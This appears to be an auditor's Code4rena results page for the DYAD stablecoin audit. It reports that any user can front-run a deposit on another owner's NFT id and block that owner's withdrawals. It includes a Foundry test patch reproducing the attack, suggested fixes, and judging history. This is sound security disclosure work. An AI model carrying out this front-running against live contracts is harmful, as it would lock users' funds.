DYAD - pep7siup's results

The first capital efficient overcollateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 18/04/2024

Pot Size: $36,500 USDC

Total HM: 19

Participants: 183

Period: 7 days

Judge: Koolex

Id: 367

League: ETH

DYAD

Findings Distribution

Researcher Performance

Rank: 178/183

Findings: 1

Award: $0.02

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-04-dyad/tree/main/src/core/VaultManagerV2.sol#L143

Vulnerability details

Impact

The vulnerability in the smart contract poses a significant risk of DoS attacks. Despite idToBlockOfLastDeposit being introduced to protect against flashloan attacks, it exposes the contract to a DoS attack vector:

// Findings are labeled with '<= FOUND'
// File: src/core/VaultManagerV2.sol
119:  function deposit(
    ...
125:      isValidDNft(id)
126:  {
127:    idToBlockOfLastDeposit[id] = block.number; // <= FOUND: anyone can set this state
    ...
131:  }
...
134:  function withdraw(
    ...
141:      isDNftOwner(id)
142:  {
143:    if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); // <= FOUND: withdraw could be DOS-ed by frontruning a fake deposit to set idToBlockOfLastDeposit[id] to current block.number
    ...
153:  }

From above snippet, the idToBlockOfLastDeposit state only relies on the nft id to determine flashloan event. The lacking of msg.sender tracking enables any user to frontrun a deposit call to set value for idToBlockOfLastDeposit and deny the withdraw effort in the same block.

The attack is also inexpensive to carry out which potentially leads to the DNft Owner being unable to withdraw their deposits if the malicious actor keep repeating the attack.

Proof of Concept

Let us walk through the issue with the following scenario:

  1. Alice, a DNft owner, attempts to withdraw her deposit collateral.
  2. Bob, a malicious actor, snipes Alice's transaction on-chain and frontruns a deposit on the same ID.
  3. Bob's transaction successfully updates idToBlockOfLastDeposit[id] to the current block number.
  4. Alice's transaction reverts with a DepositedInSameBlock error, preventing her from withdrawing her deposit.
  5. Since the attack is low cost, it's posible for the attacker to repeat the attack vector and keep the owner's fund in the vault for a long time.

test_VaultManagerV2_withdraw_DOSed.patch:

diff --git a/test/fork/v2.t.sol b/test/fork/v2.t.sol
index 349412f..bfe0e4c 100644
--- a/test/fork/v2.t.sol
+++ b/test/fork/v2.t.sol
@@ -7,6 +7,7 @@ import "forge-std/Test.sol";
 import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
 import {Licenser} from "../../src/core/Licenser.sol";
 import {Parameters} from "../../src/params/Parameters.sol";
+import {Vault}        from "../../src/core/Vault.sol";
 
 contract V2Test is Test, Parameters {
 
@@ -52,4 +53,32 @@ contract V2Test is Test, Parameters {
     uint denominator = contracts.kerosineDenominator.denominator();
     assertTrue(denominator < contracts.kerosene.balanceOf(MAINNET_OWNER));
   }
+  
+  error DepositedInSameBlock();
+  function test_VaultManagerV2_withdraw_DOSed() public {
+    // Prepare owner's dNft & vault deposit
+    vm.deal(address(this), 100 ether);
+    uint id = contracts.vaultManager.dNft().mintNft{value: 1 ether}(address(this));
+    address[] memory vaults = contracts.kerosineManager.getVaults();
+    contracts.vaultManager.deposit(id, vaults[0], 0);
+
+    // Actor deposit frontrun
+    vm.roll(10);
+    vm.prank(address(0x1));
+    contracts.vaultManager.deposit(id, vaults[0], 0);
+
+    // Owner's withdrawal reverts
+    vm.expectRevert(DepositedInSameBlock.selector);
+    contracts.vaultManager.withdraw(id, vaults[0], 0, address(this));
+  }
+
+  function onERC721Received(
+    address,
+    address,
+    uint256,
+    bytes calldata
+  ) external pure returns (bytes4) {
+    return 0x150b7a02;
+  }
+  receive() external payable {}
 }

Tools Used

VsCode

  1. A simple nonReentrant modifier should be implemented to protect against flashloan attacks
  2. idToBlockOfLastDeposit could be extended to track msg.sender so that users could NOT dos eachother.

Assessed type

DoS

#0 - c4-pre-sort

2024-04-27T11:30:42Z

JustDravee marked the issue as duplicate of #1103

#1 - c4-pre-sort

2024-04-27T11:45:45Z

JustDravee marked the issue as duplicate of #489

#2 - c4-pre-sort

2024-04-29T09:32:09Z

JustDravee marked the issue as sufficient quality report

#3 - c4-judge

2024-05-05T20:38:12Z

koolexcrypto marked the issue as unsatisfactory: Invalid

#4 - c4-judge

2024-05-05T21:00:22Z

koolexcrypto marked the issue as nullified

#5 - c4-judge

2024-05-05T21:00:29Z

koolexcrypto marked the issue as not nullified

#6 - c4-judge

2024-05-08T15:29:13Z

koolexcrypto marked the issue as duplicate of #1001

#7 - c4-judge

2024-05-11T19:51:00Z

koolexcrypto marked the issue as satisfactory

#8 - c4-judge

2024-05-13T18:34:30Z

koolexcrypto changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter